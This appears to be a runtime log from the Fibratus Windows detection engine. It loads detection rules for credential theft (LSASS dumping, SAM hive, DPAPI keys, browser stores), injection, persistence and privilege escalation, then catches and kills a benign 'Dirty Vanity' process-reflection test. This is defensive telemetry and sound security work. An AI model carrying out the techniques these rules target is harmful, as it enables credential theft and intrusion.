SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T20:11:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T20:11:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:11:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:11:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T20:11:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_via_reflected_process.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:11:57+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T20:11:57+01:00 level=info msg=bootstrapping with pid 18108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T20:11:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-thread=>true enable-mem=>false stack-enrichment=>true enable-threadpool=>false enable-net=>true enable-image=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-registry=>true flush-interval=>1s enable-fileio=>true enable-audit-api=>true max-buffers=>36 enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text level=>info log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ bulk-workers=>1 trace-log=>false sniff=>false healthcheck-interval=>10s gzip-compression=>false enabled=>false healthcheck-timeout=>5s template-name=>fibratus timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s passive=>false enabled=>false exchange=>fibratus routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 durable=>false exchange-type=>topic] http=>[ enable-gzip=>false serializer=>json method=>POST timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false enabled=>false fastscan=>true scan-timeout=>10s excluded-files=>[] skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T20:11:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:11:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:12:09+01:00 level=info msg=sending alert: [Suspicious child spawned via reflected process]. Text: Event(s): + Seq: 4745731 + Pid: 19504 + Tid: 14208 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:12:05.4348262 +0100 CET + Params: cmdline➜ "C:\WINDOWS\regedit.exe" , directory_table_base➜ 396a13000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\regedit.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506fe17e080, name➜ regedit.exe, pid➜ 7564, ppid➜ 19504, real_ppid➜ 19504, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:12:05.4345346 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, rule.seq.link: 2599421625745014784, rule.name: Suspicious child spawned via reflected process, tactic.name: Defense Evasion + + Pid: 19504 + Ppid: 4496 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4745809 + Pid: 7564 + Tid: 18508 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:12:05.447608 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 3d97e1000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506fb8d2080, name➜ cmd.exe, pid➜ 17700, ppid➜ 7564, real_ppid➜ 7564, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:12:05.4475325 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 2599421625745014784, rule.name: Suspicious child spawned via reflected process + + Pid: 7564 + Ppid: 19504 + Name: regedit.exe + Parent name: regedit.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: "C:\WINDOWS\regedit.exe" + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T20:12:09+01:00 level=info msg=executing kill action: pids=[7564 17700] rule=Suspicious child spawned via reflected process source=rules/engine.go:294 +time=2025-11-12T20:13:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T20:13:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:13:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:25:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from 